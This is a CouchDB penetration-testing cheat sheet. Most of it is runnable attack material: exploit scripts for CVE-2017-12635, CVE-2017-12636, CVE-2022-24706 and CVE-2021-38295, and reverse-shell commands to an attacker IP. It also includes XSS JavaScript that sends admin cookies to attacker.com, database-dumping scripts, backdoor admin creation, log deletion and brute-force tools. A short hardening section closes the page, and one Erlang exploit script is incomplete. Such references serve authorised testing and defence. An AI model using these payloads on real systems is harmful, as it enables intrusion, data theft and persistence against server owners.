Skip to content

CouchDB

Table of Contents


Overview

What is CouchDB?

Apache CouchDB is an open-source document-oriented NoSQL database implemented in Erlang. It uses JSON to store data, JavaScript as its query language using MapReduce, and HTTP for its API. CouchDB is designed for reliability, easy replication, and offline-first applications.

Default Configuration Issues

  • Default Port: 5984 (main), 6984 (SSL), 4369 (Erlang Port Mapper Daemon)
  • Default Erlang Cookie: "monster" (used for inter-node communication)
  • No Authentication: Party mode - no authentication required by default
  • Bind to All Interfaces: Often misconfigured to listen on 0.0.0.0
  • Fauxton UI: Web-based admin interface accessible at /_utils

Key Security Concerns

  • Party mode allows unauthenticated access
  • Default Erlang cookie enables RCE
  • HTTP-based API makes it easy to exploit
  • JSON parser discrepancies enable privilege escalation
  • Configuration can be modified via HTTP API
  • Erlang cookie abuse for remote code execution
  • Design documents can execute arbitrary JavaScript

Reconnaissance & Enumeration

Port Scanning

# Basic scan for CouchDB ports
nmap -p 5984,6984,4369 <target>

# Service version detection
nmap -p 5984 -sV <target>

# Comprehensive scan with NSE scripts
nmap -p 5984 -sV -sC <target>

# CouchDB specific NSE scripts
nmap -p 5984 --script couchdb-databases <target>
nmap -p 5984 --script couchdb-stats <target>

# All CouchDB scripts
nmap -p 5984 --script "couchdb-*" <target>

# Scan entire network
nmap -p 5984 --open <network_range> -oG couchdb_hosts.txt
masscan -p5984 <network_range> --rate=1000
# Using curl
curl http://<target>:5984/

# Expected response:
# {"couchdb":"Welcome","version":"2.3.1","git_sha":"c298091a4","uuid":"...","features":["..."],"vendor":{"name":"The Apache Software Foundation"}}

# Check if authentication is required
curl http://<target>:5984/_all_dbs
# If returns database list, no auth required
# If returns error, authentication needed

# Using netcat
echo -e "GET / HTTP/1.0\n\n" | nc <target> 5984

# Using telnet
telnet <target> 5984
GET / HTTP/1.0

Shodan Queries

# Find CouchDB instances
port:5984 couchdb

# Find specific versions
port:5984 "Welcome" "version"

# Find CouchDB without authentication
port:5984 couchdb "Party mode"

# Find Erlang Port Mapper Daemon
port:4369 "name couchdb at"

Default Credentials

Party Mode (No Authentication)

# CouchDB starts in "party mode" by default - no authentication required
# Anyone can access everything

# Test for party mode
curl http://<target>:5984/_all_dbs
curl http://<target>:5984/_users/_all_docs
curl http://<target>:5984/_config

# If these return data, the instance is in party mode

Default Admin Credentials

# If authentication is enabled, try common defaults:
Username: admin
Password: admin

Username: admin
Password: password

Username: couchdb
Password: couchdb

Username: root
Password: root
# Default Erlang cookie for CouchDB
Cookie: monster

# This can be used for RCE (CVE-2022-24706)

Connection Methods

Using curl

# Basic connection
curl http://<target>:5984/

# Get server information
curl http://<target>:5984/
curl http://<target>:5984/_up

# List all databases
curl http://<target>:5984/_all_dbs

# Get database info
curl http://<target>:5984/<database_name>

# List all documents in database
curl http://<target>:5984/<database_name>/_all_docs

# Get specific document
curl http://<target>:5984/<database_name>/<document_id>

# With authentication (basic auth)
curl http://admin:password@<target>:5984/_all_dbs
curl -u admin:password http://<target>:5984/_all_dbs

# With session cookie
curl -H "Cookie: AuthSession=..." http://<target>:5984/_all_dbs

# Create database
curl -X PUT http://<target>:5984/newdb

# Create document
curl -X POST http://<target>:5984/<database> \
     -H "Content-Type: application/json" \
     -d '{"key":"value"}'

# Update document
curl -X PUT http://<target>:5984/<database>/<doc_id> \
     -H "Content-Type: application/json" \
     -d '{"_rev":"1-xxx","key":"new_value"}'

# Delete document
curl -X DELETE http://<target>:5984/<database>/<doc_id>?rev=<revision>

# Delete database
curl -X DELETE http://<target>:5984/<database>

Using Python

import requests
import json

# Basic connection
url = "http://<target>:5984"

# Get server info
response = requests.get(url)
print(response.json())

# List databases
response = requests.get(f"{url}/_all_dbs")
databases = response.json()
print(databases)

# With authentication
auth = ('admin', 'password')
response = requests.get(f"{url}/_all_dbs", auth=auth)

# Create database
response = requests.put(f"{url}/testdb")

# Create document
doc = {"name": "test", "value": 123}
response = requests.post(
    f"{url}/testdb",
    headers={"Content-Type": "application/json"},
    data=json.dumps(doc)
)

# Get all documents
response = requests.get(f"{url}/testdb/_all_docs")
print(response.json())

Using Metasploit

# CouchDB enumeration
use auxiliary/scanner/couchdb/couchdb_enum
set RHOSTS <target>
set RPORT 5984
run

# CouchDB login/brute force
use auxiliary/scanner/couchdb/couchdb_login
set RHOSTS <target>
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
run

# CVE-2017-12636 RCE exploit
use exploit/linux/http/apache_couchdb_cmd_exec
set RHOSTS <target>
set RPORT 5984
set TARGETURI /
set PAYLOAD linux/x64/shell_reverse_tcp
set LHOST <attacker_ip>
run

Information Gathering

Server Information

# Get server version and details
curl http://<target>:5984/
# Returns: {"couchdb":"Welcome","version":"X.X.X",...}

# Check server status
curl http://<target>:5984/_up
# Returns: {"status":"ok","seeds":{}}

# Get active tasks
curl http://<target>:5984/_active_tasks

# Get cluster membership (if clustered)
curl http://<target>:5984/_membership

# Get node stats
curl http://<target>:5984/_node/_local/_stats

# Get all configuration
curl http://<target>:5984/_node/_local/_config
curl http://<target>:5984/_config  # Older versions

Database Enumeration

# List all databases
curl http://<target>:5984/_all_dbs

# Get specific database info
curl http://<target>:5984/<database_name>

# Returns database stats:
# {
#   "db_name": "database",
#   "doc_count": 100,
#   "doc_del_count": 0,
#   "update_seq": "150",
#   "disk_size": 12345,
#   ...
# }

# List all documents in database
curl http://<target>:5984/<database_name>/_all_docs

# Include document content
curl http://<target>:5984/<database_name>/_all_docs?include_docs=true

# Get database security settings
curl http://<target>:5984/<database_name>/_security

User Enumeration

# List all users (requires _users database access)
curl http://<target>:5984/_users/_all_docs

# Get user document
curl http://<target>:5984/_users/org.couchdb.user:<username>

# List admin users (requires admin access)
curl http://<target>:5984/_node/_local/_config/admins
curl http://<target>:5984/_config/admins  # Older versions

# Returns password hashes:
# {"admin": "-pbkdf2-...", "root": "-hashed-..."}

Design Documents

# List design documents
curl http://<target>:5984/<database>/_design_docs

# Get specific design document
curl http://<target>:5984/<database>/_design/<design_name>

# Design documents can contain JavaScript code
# that executes on the server (MapReduce views, validators)

Configuration Enumeration

# Get all configuration (requires admin)
curl -u admin:password http://<target>:5984/_node/_local/_config

# Get specific configuration values
curl http://<target>:5984/_node/_local/_config/httpd/bind_address
curl http://<target>:5984/_node/_local/_config/httpd/port
curl http://<target>:5984/_node/_local/_config/couch_httpd_auth/require_valid_user

# Check authentication settings
curl http://<target>:5984/_node/_local/_config/admins

# Get CORS configuration
curl http://<target>:5984/_node/_local/_config/httpd/enable_cors
curl http://<target>:5984/_node/_local/_config/cors/origins

Authentication & Session Management

Testing Authentication Requirements

# Check if authentication is required
curl http://<target>:5984/_all_dbs

# Response if no auth required:
# ["_replicator","_users","database1","database2"]

# Response if auth required:
# {"error":"unauthorized","reason":"Authentication required."}

Creating Session

# Login to get session cookie
curl -X POST http://<target>:5984/_session \
     -H "Content-Type: application/json" \
     -d '{"name":"admin","password":"password"}'

# Response:
# {"ok":true,"name":"admin","roles":["_admin"]}
# Set-Cookie: AuthSession=...

# Save cookie for reuse
curl -c cookie.txt -X POST http://<target>:5984/_session \
     -H "Content-Type: application/json" \
     -d '{"name":"admin","password":"password"}'

# Use saved cookie
curl -b cookie.txt http://<target>:5984/_all_dbs

# Check current session
curl -b cookie.txt http://<target>:5984/_session

# Logout (delete session)
curl -b cookie.txt -X DELETE http://<target>:5984/_session

Creating Admin User (if in party mode)

# Create admin user via configuration
curl -X PUT http://<target>:5984/_node/nonode@nohost/_config/admins/admin \
     -d '"password"'

# For CouchDB 1.x:
curl -X PUT http://<target>:5984/_config/admins/admin -d '"password"'

# The password will be automatically hashed
# Response: ""  (empty string on success)

# Verify admin user was created
curl http://<target>:5984/_node/nonode@nohost/_config/admins

Creating Regular User

# Create user in _users database
curl -X PUT http://<target>:5984/_users/org.couchdb.user:testuser \
     -H "Content-Type: application/json" \
     -d '{
       "name": "testuser",
       "password": "password123",
       "roles": [],
       "type": "user"
     }'

# Create user with admin role (requires admin access)
curl -u admin:password -X PUT \
     http://<target>:5984/_users/org.couchdb.user:newadmin \
     -H "Content-Type: application/json" \
     -d '{
       "name": "newadmin",
       "password": "AdminP@ss123",
       "roles": ["_admin"],
       "type": "user"
     }'

CVE-2017-12635 - Privilege Escalation

Vulnerability Details

CVE-2017-12635 affects CouchDB versions before 1.7.0 and 2.x before 2.1.1. Due to differences between Erlang-based and JavaScript-based JSON parsers, attackers can submit _users documents with duplicate "roles" keys to escalate privileges to admin.

Exploitation

# Method 1: Create admin user with duplicate roles key
curl -X PUT http://<target>:5984/_users/org.couchdb.user:attacker \
     -H "Content-Type: application/json" \
     -d '{
       "type": "user",
       "name": "attacker",
       "roles": ["_admin"],
       "roles": [],
       "password": "P@ssw0rd123"
     }'

# The JavaScript validator sees the second (empty) roles array
# The Erlang parser uses the first (admin) roles array
# Result: User is created with admin privileges

# Verify admin access
curl -u attacker:P@ssw0rd123 http://<target>:5984/_users/_all_docs

Python Exploit Script

#!/usr/bin/env python3
import requests
import sys

def exploit_cve_2017_12635(target, username, password):
    url = f"http://{target}:5984/_users/org.couchdb.user:{username}"

    # Payload with duplicate roles keys
    payload = {
        "type": "user",
        "name": username,
        "roles": ["_admin"],  # First roles (used by Erlang)
        "roles": [],          # Second roles (used by JavaScript validator)
        "password": password
    }

    headers = {"Content-Type": "application/json"}

    try:
        response = requests.put(url, json=payload, headers=headers)

        if response.status_code == 201:
            print(f"[+] Admin user created: {username}:{password}")

            # Verify admin access
            auth = (username, password)
            verify = requests.get(f"http://{target}:5984/_users/_all_docs", auth=auth)

            if verify.status_code == 200:
                print(f"[+] Admin privileges confirmed!")
                return True
        else:
            print(f"[-] Failed: {response.text}")
            return False

    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} <target> <username> <password>")
        sys.exit(1)

    exploit_cve_2017_12635(sys.argv[1], sys.argv[2], sys.argv[3])

Using Metasploit

use auxiliary/scanner/couchdb/couchdb_enum
set RHOSTS <target>
set CREATEUSER true
set HttpUsername attacker
set HttpPassword P@ssw0rd
run

# This will attempt to exploit CVE-2017-12635

CVE-2017-12636 - Remote Code Execution

Vulnerability Details

CVE-2017-12636 affects CouchDB versions before 1.7.0 and 2.x before 2.1.1. Admin users can configure the database via HTTP, including paths to operating system-level binaries. This allows command execution as the CouchDB user.

Prerequisites

  • Admin access (can be obtained via CVE-2017-12635)
  • CouchDB version < 1.7.0 or 2.x < 2.1.1

Exploitation Methods

Method 1: Query Server Configuration

# Set malicious query server
curl -X PUT http://admin:password@<target>:5984/_node/nonode@nohost/_config/query_servers/cmd \
     -d '"/bin/bash -c \"bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1\""'

# Trigger execution by creating a design document
curl -X PUT http://admin:password@<target>:5984/testdb/_design/shell \
     -H "Content-Type: application/json" \
     -d '{
       "language": "cmd",
       "views": {
         "test": {
           "map": "function(doc){emit(doc._id, 1)}"
         }
       }
     }'

# Query the view to trigger execution
curl http://admin:password@<target>:5984/testdb/_design/shell/_view/test

Method 2: OS Daemon Configuration

# Configure malicious OS daemon
curl -X PUT http://admin:password@<target>:5984/_node/nonode@nohost/_config/os_daemons/daemon \
     -d '"/bin/bash -c \"nc <attacker_ip> 4444 -e /bin/bash\""'

# The daemon will start automatically
# Listen on attacker machine: nc -lvnp 4444

Method 3: Configuration Injection

# Inject newline to add malicious configuration
curl -X PUT http://admin:password@<target>:5984/_node/nonode@nohost/_config/cors/origins \
     -H "Content-Type: application/json" \
     -d '"attacker\n\n[os_daemons]\nshell = /usr/bin/nc <attacker_ip> 4444 -e /bin/bash"'

# Restart CouchDB process to trigger
# The injected config will be written to local.ini

Python Exploit Script

#!/usr/bin/env python3
import requests
import sys
import time

def exploit_rce(target, username, password, attacker_ip, attacker_port):
    base_url = f"http://{username}:{password}@{target}:5984"

    # Method 1: Query server
    print("[*] Attempting RCE via query_servers...")

    cmd = f'/bin/bash -c "bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1"'

    # Set malicious query server
    response = requests.put(
        f"{base_url}/_node/nonode@nohost/_config/query_servers/cmd",
        data=f'"{cmd}"'
    )

    if response.status_code == 200:
        print("[+] Query server configured")

        # Create database
        requests.put(f"{base_url}/exploit_db")

        # Create design document to trigger
        design_doc = {
            "language": "cmd",
            "views": {
                "exploit": {
                    "map": "irrelevant"
                }
            }
        }

        requests.put(
            f"{base_url}/exploit_db/_design/shell",
            json=design_doc
        )

        print("[+] Design document created, triggering...")

        # Trigger execution
        requests.get(f"{base_url}/exploit_db/_design/shell/_view/exploit")
        print("[+] Exploit triggered! Check your listener")

    else:
        print(f"[-] Failed: {response.text}")

if __name__ == "__main__":
    if len(sys.argv) != 6:
        print(f"Usage: {sys.argv[0]} <target> <username> <password> <attacker_ip> <attacker_port>")
        sys.exit(1)

    exploit_rce(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5])

Combined CVE-2017-12635 + CVE-2017-12636

# Step 1: Escalate to admin (CVE-2017-12635)
curl -X PUT http://<target>:5984/_users/org.couchdb.user:pwned \
     -H "Content-Type: application/json" \
     -d '{
       "type": "user",
       "name": "pwned",
       "roles": ["_admin"],
       "roles": [],
       "password": "pwned"
     }'

# Step 2: Execute commands (CVE-2017-12636)
curl -X PUT http://pwned:pwned@<target>:5984/_node/nonode@nohost/_config/query_servers/cmd \
     -d '"/bin/bash -c \"bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1\""'

# Step 3: Create trigger database and design doc
curl -X PUT http://pwned:pwned@<target>:5984/trigger
curl -X PUT http://pwned:pwned@<target>:5984/trigger/_design/trig \
     -H "Content-Type: application/json" \
     -d '{"language":"cmd","views":{"x":{"map":"1"}}}'

# Step 4: Trigger the payload
curl http://pwned:pwned@<target>:5984/trigger/_design/trig/_view/x

Vulnerability Details

CVE-2022-24706 affects CouchDB 3.2.1 and below. The default Erlang cookie "monster" allows attackers to achieve RCE by abusing Erlang's distributed protocol.

Prerequisites

  • CouchDB 3.2.1 or below
  • Erlang Port Mapper Daemon (EPMD) accessible on port 4369
  • Default or known Erlang cookie

Finding Erlang Nodes

# Scan for EPMD
nmap -p 4369 <target>

# Get node information
echo -e "\x00\x01\x6e" | nc <target> 4369 | hexdump -C

# Using Shodan
shodan search 'port:4369 "name couchdb at"'

Exploitation

#!/usr/bin/env python3
# Based on CVE-2022-24706 exploit
import socket
from hashlib import md5
import struct
import sys
import re
import time

TARGET = ""
EPMD_PORT = 4369
COOKIE = "monster"  # Default CouchDB Erlang cookie
ERLANG_PORT = 0

EPM_NAME_CMD = b"\x00\x01\x6e"

# Get node name and port
def get_node_info():
    global ERLANG_PORT

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((TARGET, EPMD_PORT))

    sock.send(EPM_NAME_CMD)
    response = sock.recv(1024)
    sock.close()

    if len(response) > 0:
        # Parse response to get port
        ERLANG_PORT = struct.unpack(">H", response[2:4])[0]
        print(f"[+] Found Erlang node on port {ERLANG_PORT}")
        return True

    return False

# Execute command
def execute_command(cmd):
    # Connect to Erlang port
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((TARGET, ERLANG_PORT))

    # Erlang distribution protocol handshake
    # Send name message
    our_node = b"AAAAAA@"
    name_msg = b"\x00\x15n\x00\x07\x00\x03\x49\x9c" + our_node
    sock.send(name_msg)

    # Receive challenge
    challenge_response = sock.recv(1024)

    # Extract challenge
    challenge = struct.unpack(">I", challenge_response[9:13])[0]

    # Calculate digest
    digest_data = COOKIE.encode() + str(challenge).encode()
    digest = md5(digest_data).digest()

    # Send challenge reply
    reply = b"\x00\x15r"
    reply += struct.pack(">I", 0)  # Our challenge (can be 0)
    reply += digest
    sock.send(reply)

    # Receive challenge ack
    ack = sock.recv(1024)

    if ack[0:2] == b"\x00\x11":
        print("[+] Authentication successful")

        # Send RPC call to execute command
        # os:cmd/1 function
        rpc_payload = create_rpc_payload(cmd)
        sock.send(rpc_payload)

        # Receive response
        response = sock.recv(4096)
        print(f"[+] Command executed: {cmd}")
        print(f"[+] Response: {response}")

    sock.close()

def create_rpc_payload(cmd):
    # Create Erlang term for os:cmd(Command)
    # This is simplified - real implementation needs proper Erlang term encoding
    payload = b"\x00\x50"  # Length placeholder
    # ... Erlang term encoding for {call, os, cmd, [Command], user}
    return payload

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target> <command>")
        print(f"Example: {sys.argv[0]} 192.168.1.100 'id'")
        sys.exit(1)

    TARGET = sys.argv[1]
    cmd = sys.argv[2]

    print(f"[*] Targeting {TARGET}")
    print(f"[*] Using cookie: {COOKIE}")

    if get_node_info():
        execute_command(cmd)
    else:
        print("[-] Failed to get node information")

Using Existing Exploit

# Download exploit from Exploit-DB
wget https://www.exploit-db.com/raw/50914 -O cve-2022-24706.py

# Run exploit
python3 cve-2022-24706.py <target> <command>

# Example: Get reverse shell
python3 cve-2022-24706.py 192.168.1.100 'nc <attacker_ip> 4444 -e /bin/bash'

CVE-2021-38295 - XSS via Attachments

Vulnerability Details

CVE-2021-38295 affects CouchDB versions before 3.1.2. Malicious HTML attachments with JavaScript can be uploaded and execute in the context of the Fauxton UI, leading to session hijacking and privilege escalation.

Exploitation

# Step 1: Create a database (requires auth)
curl -u user:password -X PUT http://<target>:5984/testdb

# Step 2: Create a document
curl -u user:password -X PUT http://<target>:5984/testdb/exploit_doc \
     -H "Content-Type: application/json" \
     -d '{"title":"Exploit Document"}'

# Step 3: Attach malicious HTML
cat > malicious.html << 'EOF'
<!DOCTYPE html>
<html>
<head><title>Innocent Page</title></head>
<body>
<script>
// Steal admin session cookie and send to attacker
var session = document.cookie;
fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(session));

// Or perform admin actions
fetch('/_users/org.couchdb.user:backdoor', {
  method: 'PUT',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    name: 'backdoor',
    password: 'P@ssw0rd',
    roles: ['_admin'],
    type: 'user'
  })
});
</script>
</body>
</html>
EOF

# Upload attachment
curl -u user:password -X PUT \
     http://<target>:5984/testdb/exploit_doc/page.html?rev=1-xxx \
     --data-binary @malicious.html \
     -H "Content-Type: text/html"

# Share URL with admin
# http://<target>:5984/testdb/exploit_doc/page.html

Python PoC

#!/usr/bin/env python3
import requests
import sys

def exploit_xss(target, username, password, attacker_url):
    base_url = f"http://{target}:5984"
    auth = (username, password)

    # Create database
    db_name = "exploit_db"
    requests.put(f"{base_url}/{db_name}", auth=auth)

    # Create document
    doc = {"title": "Malicious Document"}
    response = requests.put(
        f"{base_url}/{db_name}/xss_doc",
        json=doc,
        auth=auth
    )

    doc_info = response.json()
    rev = doc_info['rev']

    # Create malicious HTML
    html_content = f"""
    <!DOCTYPE html>
    <html>
    <body>
    <h1>CouchDB Admin Panel</h1>
    <script>
    // Steal session and create backdoor
    var session = document.cookie;
    fetch('{attacker_url}/steal?c=' + encodeURIComponent(session));

    // Create backdoor admin user
    fetch('/_users/org.couchdb.user:backdoor', {{
      method: 'PUT',
      headers: {{'Content-Type': 'application/json'}},
      credentials: 'include',
      body: JSON.stringify({{
        name: 'backdoor',
        password: 'P@ssw0rd123',
        roles: ['_admin'],
        type: 'user'
      }})
    }});
    </script>
    </body>
    </html>
    """

    # Upload malicious attachment
    response = requests.put(
        f"{base_url}/{db_name}/xss_doc/index.html?rev={rev}",
        data=html_content,
        headers={"Content-Type": "text/html"},
        auth=auth
    )

    if response.status_code == 201:
        exploit_url = f"http://{target}:5984/{db_name}/xss_doc/index.html"
        print(f"[+] Malicious document uploaded")
        print(f"[+] Share this URL with admin: {exploit_url}")
    else:
        print(f"[-] Failed: {response.text}")

if __name__ == "__main__":
    if len(sys.argv) != 5:
        print(f"Usage: {sys.argv[0]} <target> <username> <password> <attacker_url>")
        sys.exit(1)

    exploit_xss(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

Data Exfiltration

Dumping Databases

# List all databases
curl http://<target>:5984/_all_dbs > databases.txt

# For each database, dump all documents
for db in $(cat databases.txt | jq -r '.[]'); do
    echo "[*] Dumping $db"
    curl http://<target>:5984/$db/_all_docs?include_docs=true > ${db}_dump.json
done

Exporting Specific Database

# Get all documents with content
curl http://<target>:5984/<database>/_all_docs?include_docs=true > dump.json

# Pretty print
curl http://<target>:5984/<database>/_all_docs?include_docs=true | jq '.' > dump.json

# Export to CSV (using jq)
curl http://<target>:5984/<database>/_all_docs?include_docs=true | \
  jq -r '.rows[].doc | [._id, .name, .email] | @csv' > data.csv

Python Bulk Dump Script

#!/usr/bin/env python3
import requests
import json
import sys

def dump_couchdb(target, output_file, username=None, password=None):
    base_url = f"http://{target}:5984"
    auth = (username, password) if username and password else None

    all_data = {}

    # Get all databases
    response = requests.get(f"{base_url}/_all_dbs", auth=auth)
    databases = response.json()

    print(f"[*] Found {len(databases)} databases")

    for db in databases:
        print(f"[*] Dumping database: {db}")

        try:
            # Get all documents
            response = requests.get(
                f"{base_url}/{db}/_all_docs?include_docs=true",
                auth=auth
            )

            if response.status_code == 200:
                all_data[db] = response.json()
                doc_count = len(all_data[db].get('rows', []))
                print(f"[+] Dumped {doc_count} documents from {db}")
            else:
                print(f"[-] Failed to dump {db}: {response.status_code}")

        except Exception as e:
            print(f"[-] Error dumping {db}: {e}")

    # Save to file
    with open(output_file, 'w') as f:
        json.dump(all_data, f, indent=2)

    print(f"[+] All data saved to {output_file}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <output_file> [username] [password]")
        sys.exit(1)

    target = sys.argv[1]
    output = sys.argv[2]
    user = sys.argv[3] if len(sys.argv) > 3 else None
    pwd = sys.argv[4] if len(sys.argv) > 4 else None

    dump_couchdb(target, output, user, pwd)

Replicating Database

# Replicate remote database to local
curl -X POST http://localhost:5984/_replicate \
     -H "Content-Type: application/json" \
     -d '{
       "source": "http://<target>:5984/<database>",
       "target": "local_copy",
       "create_target": true
     }'

# Continuous replication
curl -X POST http://localhost:5984/_replicate \
     -H "Content-Type: application/json" \
     -d '{
       "source": "http://<target>:5984/<database>",
       "target": "local_copy",
       "create_target": true,
       "continuous": true
     }'

Searching for Sensitive Data

# Search for documents containing "password"
curl http://<target>:5984/<database>/_all_docs?include_docs=true | \
  jq '.rows[].doc | select(.password != null)'

# Search for credit cards (simple pattern)
curl http://<target>:5984/<database>/_all_docs?include_docs=true | \
  jq '.rows[].doc | select(.card_number != null or .credit_card != null)'

# Search for API keys
curl http://<target>:5984/<database>/_all_docs?include_docs=true | \
  jq '.rows[].doc | select(.api_key != null or .secret_key != null)'

Post-Exploitation

Creating Backdoor Admin

# Create persistent admin user
curl -u admin:password -X PUT \
     http://<target>:5984/_users/org.couchdb.user:backdoor \
     -H "Content-Type: application/json" \
     -d '{
       "name": "backdoor",
       "password": "Secure123!@#",
       "roles": ["_admin"],
       "type": "user"
     }'

# Verify backdoor
curl -u backdoor:Secure123!@# http://<target>:5984/_all_dbs

Modifying Configuration for Persistence

# Add admin via configuration (requires current admin access)
curl -u admin:password -X PUT \
     http://<target>:5984/_node/nonode@nohost/_config/admins/persistent_admin \
     -d '"SuperSecret123"'

# This writes to local.ini configuration file

Planting Malicious Design Document

# Create design document with malicious JavaScript
curl -u admin:password -X PUT \
     http://<target>:5984/<database>/_design/backdoor \
     -H "Content-Type: application/json" \
     -d '{
       "language": "javascript",
       "validate_doc_update": "function(newDoc, oldDoc, userCtx) { 
         // Log all document updates
         log(JSON.stringify({user: userCtx, doc: newDoc}));
       }",
       "views": {
         "all": {
           "map": "function(doc) { emit(doc._id, doc); }"
         }
       }
     }'

Data Manipulation

# Modify sensitive documents
curl -u admin:password -X PUT \
     http://<target>:5984/<database>/<doc_id> \
     -H "Content-Type: application/json" \
     -d '{
       "_rev": "1-xxx",
       "email": "attacker@evil.com",
       "role": "admin"
     }'

# Delete incriminating logs
curl -u admin:password -X DELETE \
     http://<target>:5984/logs/<log_id>?rev=1-xxx

Brute Force Attacks

Using Hydra

# Basic brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
      <target> http-get /:5984

# Custom wordlists
hydra -L users.txt -P passwords.txt <target> http-get /:5984

# Against _session endpoint
hydra -l admin -P passwords.txt <target> \
      http-post-form "/_session:name=^USER^&password=^PASS^:Authentication required"

Using Metasploit

use auxiliary/scanner/couchdb/couchdb_login
set RHOSTS <target>
set RPORT 5984
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set THREADS 5
run

Custom Python Brute Force

#!/usr/bin/env python3
import requests
import sys
from concurrent.futures import ThreadPoolExecutor

def try_login(target, username, password):
    url = f"http://{target}:5984/_session"
    data = {"name": username, "password": password}

    try:
        response = requests.post(url, json=data, timeout=5)
        if response.status_code == 200 and response.json().get('ok'):
            print(f"[+] Success! {username}:{password}")
            return True
    except:
        pass
    return False

def brute_force(target, userfile, passfile, threads=5):
    with open(userfile) as f:
        users = [line.strip() for line in f]

    with open(passfile) as f:
        passwords = [line.strip() for line in f]

    print(f"[*] Testing {len(users)} users with {len(passwords)} passwords")

    with ThreadPoolExecutor(max_workers=threads) as executor:
        for user in users:
            for password in passwords:
                executor.submit(try_login, target, user, password)

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} <target> <userfile> <passfile>")
        sys.exit(1)

    brute_force(sys.argv[1], sys.argv[2], sys.argv[3])

Common Misconfigurations

Party Mode (No Authentication)

# Check if in party mode
curl http://<target>:5984/_all_dbs

# If returns database list, no authentication is required
# This is the most common misconfiguration

# Verify by accessing admin endpoints
curl http://<target>:5984/_config
curl http://<target>:5984/_users/_all_docs

Exposed to Internet

# CouchDB should never be exposed to the internet
# Check binding
curl http://<target>:5984/_node/_local/_config/httpd/bind_address

# Should return: "127.0.0.1" or specific internal IP
# NOT: "0.0.0.0" (all interfaces)
# Check if default cookie "monster" is still in use
# Attempt CVE-2022-24706 exploitation

# The default cookie allows RCE via Erlang distribution protocol

CORS Misconfiguration

# Check CORS settings
curl http://<target>:5984/_node/_local/_config/cors

# Dangerous settings:
# origins = *
# credentials = true

Insecure Replication

# Check replication configuration
curl http://<target>:5984/_scheduler/docs

# Look for:
# - Replication without authentication
# - Replication to/from untrusted sources

Automated Tools

CouchDB Scanner (Nmap)

# Run all CouchDB NSE scripts
nmap -p 5984 --script couchdb-databases,couchdb-stats <target>

# Detailed enumeration
nmap -p 5984 -sV --script "couchdb-*" <target> -oA couchdb_scan

Metasploit Modules

# Enumeration
use auxiliary/scanner/couchdb/couchdb_enum
set RHOSTS <target>
set SERVERINFO true
set CREATEUSER false
run

# Login scanner
use auxiliary/scanner/couchdb/couchdb_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

# CVE-2017-12636 RCE
use exploit/linux/http/apache_couchdb_cmd_exec
set RHOSTS <target>
set HttpUsername admin
set HttpPassword password
set PAYLOAD linux/x64/shell_reverse_tcp
set LHOST <attacker_ip>
run

NoSQLMap

# Clone and install
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python nosqlmap.py

# Scan CouchDB instance
python nosqlmap.py --attack 1 --target <target>:5984

# Attempt exploitation
python nosqlmap.py --attack 2 --target <target>:5984

Custom Enumeration Script

#!/bin/bash
# CouchDB Quick Enum Script

TARGET=$1

echo "[*] CouchDB Enumeration - $TARGET"
echo "=================================="

# Check if accessible
echo -e "\n[*] Server Info:"
curl -s http://$TARGET:5984/ | jq '.'

# Check authentication
echo -e "\n[*] Authentication Check:"
AUTH=$(curl -s http://$TARGET:5984/_all_dbs)
if [[ $AUTH == *"error"* ]]; then
    echo "[-] Authentication required"
else
    echo "[+] No authentication (Party Mode!)"

    # List databases
    echo -e "\n[*] Databases:"
    curl -s http://$TARGET:5984/_all_dbs | jq -r '.[]'

    # Check for users
    echo -e "\n[*] Users:"
    curl -s http://$TARGET:5984/_users/_all_docs | jq '.rows[].id'

    # Check configuration
    echo -e "\n[*] Configuration accessible:"
    curl -s http://$TARGET:5984/_config | head -5
fi

# Check Erlang port
echo -e "\n[*] Checking Erlang EPMD (port 4369):"
nc -zv $TARGET 4369 2>&1 | grep -q succeeded && echo "[+] EPMD accessible" || echo "[-] EPMD not accessible"

echo -e "\n[*] Scan complete"

Defense & Hardening

Disable Party Mode

# Create admin user to exit party mode
curl -X PUT http://localhost:5984/_node/nonode@nohost/_config/admins/admin \
     -d '"StrongP@ssw0rd123"'

# Require authentication for all operations
curl -u admin:StrongP@ssw0rd123 -X PUT \
     http://localhost:5984/_node/nonode@nohost/_config/couch_httpd_auth/require_valid_user \
     -d '"true"'

Network Binding

# Edit /etc/couchdb/local.ini or /opt/couchdb/etc/local.ini

[chttpd]
bind_address = 127.0.0.1

# Or bind to specific internal IP
bind_address = 192.168.1.100

# Restart CouchDB
systemctl restart couchdb
# Edit /etc/couchdb/vm.args or /opt/couchdb/etc/vm.args

# Change from:
-setcookie monster

# To strong random value:
-setcookie $(openssl rand -base64 32)

# Restart CouchDB
systemctl restart couchdb

Firewall Configuration

# Allow only specific IPs
ufw allow from 192.168.1.0/24 to any port 5984
ufw deny 5984

# Block Erlang EPMD from internet
ufw deny 4369

# iptables
iptables -A INPUT -p tcp --dport 5984 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 5984 -j DROP
iptables -A INPUT -p tcp --dport 4369 -j DROP

Enable HTTPS/TLS

# Edit /etc/couchdb/local.ini

[ssl]
enable = true
cert_file = /path/to/cert.pem
key_file = /path/to/privkey.pem
cacert_file = /path/to/chain.pem

[chttpd]
port = 6984  # HTTPS port

# Redirect HTTP to HTTPS
[httpd]
enable = false  # Disable HTTP

